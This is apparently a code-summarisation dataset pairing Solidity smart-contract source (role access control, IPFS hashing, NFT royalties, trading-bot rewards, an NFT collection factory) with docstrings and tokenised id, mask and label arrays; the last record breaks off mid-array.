} | @dev generates the corresponding IPFS hash (in base 58) to the given string @param contentString The content of the IPFS object @return The IPFS hash in base 58 | function generateHash(string memory contentString) internal pure returns (bytes memory) {
bytes memory content = bytes(contentString);
bytes memory len = lengthEncode(content.length);
bytes memory len2 = lengthEncode(content.length + 4 + 2*len.length);
return toBase58(concat(sha256MultiHash, toBytes(sha256(abi.encodePacked(prefix1, len2, prefix2, len, content, postfix, len)))));
}
| 1,022,658 | [
1,
3441,
815,
326,
4656,
2971,
4931,
1651,
261,
267,
1026,
17066,
13,
358,
326,
864,
533,
225,
913,
780,
1021,
913,
434,
326,
2971,
4931,
733,
327,
1021,
2971,
4931,
1651,
316,
1026,
17066,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
225,
445,
2103,
2310,
12,
1080,
3778,
913,
780,
13,
2713,
16618,
1135,
261,
3890,
3778,
13,
288,
203,
565,
1731,
3778,
913,
273,
1731,
12,
1745,
780,
1769,
203,
565,
1731,
3778,
562,
273,
769,
5509,
12,
1745,
18,
2469,
1769,
203,
565,
1731,
3778,
562,
22,
273,
769,
5509,
12,
1745,
18,
2469,
397,
1059,
397,
576,
14,
1897,
18,
2469,
1769,
203,
565,
327,
358,
2171,
8204,
12,
16426,
12,
7819,
5034,
5002,
2310,
16,
23247,
12,
7819,
5034,
12,
21457,
18,
3015,
4420,
329,
12,
3239,
21,
16,
562,
22,
16,
1633,
22,
16,
562,
16,
913,
16,
18923,
16,
562,
3719,
3719,
1769,
203,
225,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
pragma solidity >=0.4.24;
import "./modules/DataType.sol";
/**
* @title RAC (Role Access Control)
*/
contract RAC is DataType {
//(action => operator => permission), action recommend use string(business directive)
mapping(bytes32=>mapping (address => bool)) roles;
//(action => operator => permission), action recommend use string(business directive)
mapping(bytes32=>mapping (address => bool)) privateRoles;
event AddRole(address _operator, bytes32 _action);
event RemoveRole(address _operator, bytes32 _action);
event AddPrivateRole(address _operator, bytes32 _action);
event RemovePrivateRole(address _operator, bytes32 _action);
constructor () public {
roles[stringToBytes32("manageRole")][msg.sender] = true;
}
/**
* @dev modifier to scope access to a single role (uses msg.sender as addr)
* @param _action the name of the role
* // reverts
*/
modifier onlyRole(string _action)
{
require(checkRole(msg.sender, stringToBytes32(_action)), "Permission deny");
_;
}
/**
* check permission
* @param _operator address of operator
* @param _action the name of the role
*/
function checkRole(address _operator, bytes32 _action) public view returns (bool) {
return roles[_action][_operator];
}
/**
* @dev add a role to an address
* @param _operator address of operator
* @param _action the name of the role
*/
function addRole(address _operator, bytes32 _action) public onlyRole("manageRole") {
roles[_action][_operator] = true;
emit AddRole(_operator, _action);
}
/**
* @dev add roles to an address
* @param _operator address of operator
* @param _actions the name of the role
*/
function batchAddRole(address _operator, bytes32[] _actions) public onlyRole("manageRole") {
for(uint256 i; i<_actions.length; i++) {
addRole(_operator, _actions[i]);
}
}
/**
* @dev remove a role from an address
* @param _operator address of operator
* @param _action the name of the role
*/
function removeRole(address _operator, bytes32 _action) public onlyRole("manageRole") {
if(_operator == msg.sender && _action == stringToBytes32("manageRole")) {
revert("can not remove it if operator there is manageRole");
}
roles[_action][_operator] = false;
emit RemoveRole(_operator, _action);
}
/**
* @dev remove roles from an address
* @param _operator address of operator
* @param _actions the name of the role
*/
function batchRemoveRole(address _operator, bytes32[] _actions) public onlyRole("manageRole") {
for(uint256 i; i<_actions.length; i++) {
removeRole(_operator, _actions[i]);
}
}
/**
* check permission
* @param _action the name of the role
*/
function checkPrivateRole(bytes32 _action) public view returns (bool) {
return privateRoles[_action][msg.sender];
}
/**
* @dev add a private role to an address
* @param _action the name of the role
*/
function addPrivateRole(bytes32 _action) public {
privateRoles[_action][msg.sender] = true;
emit AddPrivateRole(msg.sender, _action);
}
/**
* @dev add private role to an address
* @param _actions the name of the role
*/
function batchAddPrivateRole(bytes32 _actions) public {
for(uint256 i; i<_actions.length; i++) {
addPrivateRole(_actions[i]);
}
}
/**
* @dev remove a private role to an address
* @param _action the name of the role
*/
function removePrivateRole(bytes32 _action) public {
privateRoles[_action][msg.sender] = false;
emit RemovePrivateRole(msg.sender, _action);
}
/**
* @dev remove private role to an address
* @param _actions the name of the role
*/
function batchRemovePrivateRole(bytes32 _actions) public {
for(uint256 i; i<_actions.length; i++) {
removePrivateRole(_actions[i]);
}
}
}
| * @dev remove private role to an address @param _actions the name of the role/ | function batchRemovePrivateRole(bytes32 _actions) public {
for(uint256 i; i<_actions.length; i++) {
removePrivateRole(_actions[i]);
}
}
| 1,043,897 | [
1,
4479,
3238,
2478,
358,
392,
1758,
225,
389,
4905,
326,
508,
434,
326,
2478,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
565,
445,
2581,
3288,
6014,
2996,
12,
3890,
1578,
389,
4905,
13,
1071,
288,
203,
3639,
364,
12,
11890,
5034,
277,
31,
277,
32,
67,
4905,
18,
2469,
31,
277,
27245,
288,
203,
5411,
1206,
6014,
2996,
24899,
4905,
63,
77,
19226,
203,
3639,
289,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
./partial_match/1/0xef0757CDDec0384A8EEbc9d199E2A90819af1198/sources/NonPlayableCustoms.sol | * @notice Initializes the smart contract with a given maximum supply and minting price. @param name_ Name of the token collection @param symbol_ Symbol of the token collection @param collectionMetadata_ The collection metadata URI @param maxSupply_ The maximum supply of tokens @param royaltyRecipient Address to which royalties should be sent @param royaltyPercentageBps The royalty percentage expressed in basis points/ | ) RMRKRoyalties(royaltyRecipient, royaltyPercentageBps) {
_name = name_;
_symbol = symbol_;
_collectionMetadata = collectionMetadata_;
_maxSupply = maxSupply_;
}
| 15,564,649 | [
1,
9685,
326,
13706,
6835,
598,
279,
864,
4207,
14467,
471,
312,
474,
310,
6205,
18,
225,
508,
67,
1770,
434,
326,
1147,
1849,
225,
3273,
67,
8565,
434,
326,
1147,
1849,
225,
1849,
2277,
67,
1021,
1849,
1982,
3699,
225,
943,
3088,
1283,
67,
1021,
4207,
14467,
434,
2430,
225,
721,
93,
15006,
18241,
5267,
358,
1492,
721,
93,
2390,
606,
1410,
506,
3271,
225,
721,
93,
15006,
16397,
38,
1121,
1021,
721,
93,
15006,
11622,
26863,
316,
10853,
3143,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
565,
262,
534,
23464,
47,
54,
13372,
2390,
606,
12,
3800,
15006,
18241,
16,
721,
93,
15006,
16397,
38,
1121,
13,
288,
203,
3639,
389,
529,
273,
508,
67,
31,
203,
3639,
389,
7175,
273,
3273,
67,
31,
203,
3639,
389,
5548,
2277,
273,
1849,
2277,
67,
31,
203,
3639,
389,
1896,
3088,
1283,
273,
943,
3088,
1283,
67,
31,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
pragma solidity >=0.5.0;
//Libraries
import './libraries/SafeMath.sol';
//Interfaces
import './interfaces/IERC20.sol';
import './interfaces/ITradingBot.sol';
import './interfaces/IStrategyToken.sol';
import './interfaces/IAddressResolver.sol';
import './interfaces/ITradingBotRewards.sol';
import './StrategyProxy.sol';
contract TradingBotRewards is ITradingBotRewards{
using SafeMath for uint;
IAddressResolver public immutable ADDRESS_RESOLVER;
mapping(address => mapping (address => uint)) private _userToBotToLastClaimIndex; // maps to (index + 1), with index 0 representing user not having a position in the strategy
mapping(address => State[]) private _botToStateHistory;
constructor(IAddressResolver addressResolver) public {
ADDRESS_RESOLVER = addressResolver;
}
/* ========== VIEWS ========== */
/**
* @dev Given the address of a trading bot, return the direction of the bot's yield and the yield amount
* @param tradingBotAddress Address of the trading bot
* @return (bool, uint) Whether the yield is positive or negative, and the yield amount
*/
function getAllAvailableYieldForBot(address tradingBotAddress) public view override returns (bool, uint) {
State[] memory history = _botToStateHistory[tradingBotAddress];
require(history.length > 0, 'Trading bot address not valid');
return (history[history.length - 1].debtOrYield, history[history.length - 1].amount);
}
/**
* @dev Given the address of a trading bot and a user, return the direction of the user's available yield for that bot and the yield amount
* @param user Address of the user
* @param tradingBotAddress Address of the trading bot
* @return (bool, uint) Whether the yield is positive or negative, and the yield amount
*/
function getUserAvailableYieldForBot(address user, address tradingBotAddress) public view override tradingBotAddressIsValid(tradingBotAddress) returns (bool, uint) {
return (_userToBotToLastClaimIndex[user][tradingBotAddress] > 0) ? _calculateDebtOrYield(user, tradingBotAddress) : (true, 0);
}
/* ========== INTERNAL FUNCTIONS ========== */
/**
* @dev Calculates the amount of debt/yield available for the user in the given trading bot
* @param user Address of the user
* @param tradingBotAddress Address of the trading bot
* @return (bool, uint) Whether the yield is positive or negative, and the yield amount
*/
function _calculateDebtOrYield(address user, address tradingBotAddress) internal view returns (bool, uint) {
address strategyAddress = ITradingBot(tradingBotAddress).getStrategyAddress();
uint numberOfTokens = IStrategyToken(strategyAddress).getBalanceOf(user);
State[] memory history = _botToStateHistory[tradingBotAddress];
uint userRatio = numberOfTokens.div(uint256(history[history.length - 1].circulatingSupply));
uint lastClaimIndex = _userToBotToLastClaimIndex[user][tradingBotAddress] - 1;
//Check for same sign
if ((history[history.length - 1].debtOrYield && history[lastClaimIndex].debtOrYield) || (!history[history.length - 1].debtOrYield && !history[lastClaimIndex].debtOrYield))
{
return (history[history.length - 1].debtOrYield, userRatio.mul((uint256(history[history.length - 1].amount).sub(uint256(history[lastClaimIndex].amount)))));
}
//User initially had yield and now has debt
else if (history[history.length - 1].debtOrYield && !history[lastClaimIndex].debtOrYield)
{
return (history[history.length - 1].amount >= history[lastClaimIndex].amount) ? (false, uint256(history[history.length - 1].amount).sub(uint256(history[lastClaimIndex].amount))) : (true, uint256(history[lastClaimIndex].amount).sub(uint256(history[history.length - 1].amount)));
}
//User initially had debt and now has yield
else
{
return (history[history.length - 1].amount >= history[lastClaimIndex].amount) ? (true, uint256(history[history.length - 1].amount).sub(uint256(history[lastClaimIndex].amount))) : (false, uint256(history[lastClaimIndex].amount).sub(uint256(history[history.length - 1].amount)));
}
}
/* ========== MUTATIVE FUNCTIONS ========== */
/**
* @dev Updates the bot's available yield based on the profit/loss of the most recent trade
* @param profitOrLoss Whether the amount represents profit or loss
* @param amount The amount of profit/loss in USD
* @param circulatingSupply Number of LP tokens in circulation for the trading bot's associated strategy
*/
function updateRewards(bool profitOrLoss, uint amount, uint circulatingSupply) public override onlyTradingBot {
State[] storage history = _botToStateHistory[msg.sender];
if (history.length > 0)
{
//Check for same sign
if ((history[history.length - 1].debtOrYield && profitOrLoss) || (!history[history.length - 1].debtOrYield && !profitOrLoss))
{
amount = amount.add(uint256(history[history.length - 1].amount));
}
//Current yield is positive and bot made losing trade
else if (history[history.length - 1].debtOrYield && !profitOrLoss)
{
(profitOrLoss, amount) = (uint256(history[history.length - 1].amount) >= amount) ? (true, uint256(history[history.length - 1].amount).sub(amount)) : (false, amount.sub(uint256(history[history.length - 1].amount)));
}
//Current yield is negative and bot made profitable trade
else
{
(profitOrLoss, amount) = (amount >= uint256(history[history.length - 1].amount)) ? (true, amount.sub(uint256(history[history.length - 1].amount))) : (false, uint256(history[history.length - 1].amount).sub(amount));
}
}
history.push(State(uint80(amount), uint160(circulatingSupply), profitOrLoss));
emit UpdatedRewards(msg.sender, profitOrLoss, amount, block.timestamp);
}
/**
* @dev Claims all available yield the user has in the given trading bot
* @param tradingBotAddress Address of the trading bot
*/
function claim(address tradingBotAddress) public override userHasAPosition(msg.sender, tradingBotAddress) tradingBotAddressIsValid(tradingBotAddress) {
(bool debtOrYield, uint amount) = _calculateDebtOrYield(msg.sender, tradingBotAddress);
StrategyProxy(ADDRESS_RESOLVER.getContractAddress("StrategyProxy"))._claim(msg.sender, debtOrYield, amount);
_userToBotToLastClaimIndex[msg.sender][tradingBotAddress] = _botToStateHistory[tradingBotAddress].length;
emit Claimed(msg.sender, tradingBotAddress, debtOrYield, amount, block.timestamp);
}
/* ========== MODIFIERS ========== */
modifier userHasAPosition(address user, address tradingBotAddress) {
require(_userToBotToLastClaimIndex[user][tradingBotAddress] > 0, "Need to have a position to claim yield");
_;
}
modifier userHasNotClaimedYet(address user, address tradingBotAddress) {
require(_userToBotToLastClaimIndex[user][tradingBotAddress] < _botToStateHistory[tradingBotAddress].length, "Already claimed available yield");
_;
}
modifier tradingBotAddressIsValid(address tradingBotAddress) {
require(_botToStateHistory[tradingBotAddress].length > 0, "Invalid trading bot address");
_;
}
modifier onlyTradingBot() {
require(ADDRESS_RESOLVER.checkIfTradingBotAddressIsValid(msg.sender), "Only the trading bot can call this function");
_;
}
/* ========== EVENTS ========== */
event UpdatedRewards(address indexed tradingBot, bool profitOrLoss, uint amount, uint timestamp);
event Claimed(address indexed user, address indexed tradingBot, bool debtOrYield, uint amount, uint timestamp);
} | * @dev Given the address of a trading bot and a user, return the direction of the user's available yield for that bot and the yield amount @param user Address of the user @param tradingBotAddress Address of the trading bot @return (bool, uint) Whether the yield is positive or negative, and the yield amount/ | function getUserAvailableYieldForBot(address user, address tradingBotAddress) public view override tradingBotAddressIsValid(tradingBotAddress) returns (bool, uint) {
return (_userToBotToLastClaimIndex[user][tradingBotAddress] > 0) ? _calculateDebtOrYield(user, tradingBotAddress) : (true, 0);
}
| 1,080,454 | [
1,
6083,
326,
1758,
434,
279,
1284,
7459,
2512,
471,
279,
729,
16,
327,
326,
4068,
434,
326,
729,
1807,
2319,
2824,
364,
716,
2512,
471,
326,
2824,
3844,
225,
729,
5267,
434,
326,
729,
225,
1284,
7459,
6522,
1887,
5267,
434,
326,
1284,
7459,
2512,
327,
261,
6430,
16,
2254,
13,
17403,
326,
2824,
353,
6895,
578,
6092,
16,
471,
326,
2824,
3844,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
565,
445,
4735,
5268,
16348,
1290,
6522,
12,
2867,
729,
16,
1758,
1284,
7459,
6522,
1887,
13,
1071,
1476,
3849,
1284,
7459,
6522,
1887,
20536,
12,
313,
14968,
6522,
1887,
13,
1135,
261,
6430,
16,
2254,
13,
288,
203,
3639,
327,
261,
67,
1355,
774,
6522,
774,
3024,
9762,
1016,
63,
1355,
6362,
313,
14968,
6522,
1887,
65,
405,
374,
13,
692,
389,
11162,
758,
23602,
1162,
16348,
12,
1355,
16,
1284,
7459,
6522,
1887,
13,
294,
261,
3767,
16,
374,
1769,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
./full_match/5/0x4A50456D5Fc24C6399A90e122366F73C0679416c/sources/contracts/NFTFactory.sol | * @dev Function deploying a new collection proxy, initializing it with the specified parameters, recording the new deployed collection locally and emitting an event @param _encodedMaxTokenSupplies max token supplies encoded in bytes hex format (one byte per token) @param _royaltyRecipient address defined to receive royalty payments from secondary marketplaces @param _baseOperators address of the BaseOperators contract (defined in solidity-base-contracts) @param _baseUri base URI directing to the IPFS token data @param _startDate start date for mint. If 0, then mint is always open @param _mintDuration duration of the mint. If 0, then sale is open-ended starting on _startDate/ | function newCollection(
string memory _name,
string memory _symbol,
bytes calldata _encodedMaxTokenSupplies,
address _royaltyRecipient,
address _baseOperators,
string memory _baseUri,
uint256 _startDate,
uint256 _mintDuration
) external onlyOperator returns (address) {
TransparentUpgradeableProxy proxy = new TransparentUpgradeableProxy(
implementation,
proxyAdmin,
abi.encodeWithSignature(
"initialize(string,string,bytes,address,address,string,uint256,uint256)",
_name,
_symbol,
_encodedMaxTokenSupplies,
_royaltyRecipient,
_baseOperators,
_baseUri,
_startDate,
_mintDuration
)
);
deployedCollections.push(address(proxy));
emit NewCollection(deployedCollections.length - 1, address(proxy));
return address(proxy);
}
| 1,917,026 | [
1,
2083,
7286,
310,
279,
394,
1849,
2889,
16,
22584,
518,
598,
326,
1269,
1472,
16,
14949,
326,
394,
19357,
1849,
13760,
471,
3626,
1787,
392,
871,
225,
389,
10787,
2747,
1345,
3088,
5259,
943,
1147,
1169,
5259,
3749,
316,
1731,
3827,
740,
261,
476,
1160,
1534,
1147,
13,
225,
389,
3800,
15006,
18241,
1758,
2553,
358,
6798,
721,
93,
15006,
25754,
628,
9946,
13667,
11350,
225,
389,
1969,
24473,
1758,
434,
326,
3360,
24473,
6835,
261,
2178,
316,
18035,
560,
17,
1969,
17,
16351,
87,
13,
225,
389,
1969,
3006,
1026,
3699,
2657,
310,
358,
326,
2971,
4931,
1147,
501,
225,
389,
1937,
1626,
787,
1509,
364,
312,
474,
18,
971,
374,
16,
1508,
312,
474,
353,
3712,
1696,
225,
389,
81,
474,
5326,
3734,
434,
326,
312,
474,
18,
971,
374,
16,
1508,
272,
5349,
353,
1696,
17,
3934,
5023,
603,
389,
1937,
1626,
19,
2,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0
]
| [
1,
565,
445,
394,
2532,
12,
203,
3639,
533,
3778,
389,
529,
16,
203,
3639,
533,
3778,
389,
7175,
16,
203,
3639,
1731,
745,
892,
389,
10787,
2747,
1345,
3088,
5259,
16,
203,
3639,
1758,
389,
3800,
15006,
18241,
16,
203,
3639,
1758,
389,
1969,
24473,
16,
203,
3639,
533,
3778,
389,
1969,
3006,
16,
203,
3639,
2254,
5034,
389,
1937,
1626,
16,
203,
3639,
2254,
5034,
389,
81,
474,
5326,
203,
565,
262,
3903,
1338,
5592,
1135,
261,
2867,
13,
288,
203,
3639,
2604,
2938,
10784,
429,
3886,
2889,
273,
394,
2604,
2938,
10784,
429,
3886,
12,
203,
5411,
4471,
16,
203,
5411,
2889,
4446,
16,
203,
5411,
24126,
18,
3015,
1190,
5374,
12,
203,
7734,
315,
11160,
12,
1080,
16,
1080,
16,
3890,
16,
2867,
16,
2867,
16,
1080,
16,
11890,
5034,
16,
11890,
5034,
2225,
16,
203,
7734,
389,
529,
16,
203,
7734,
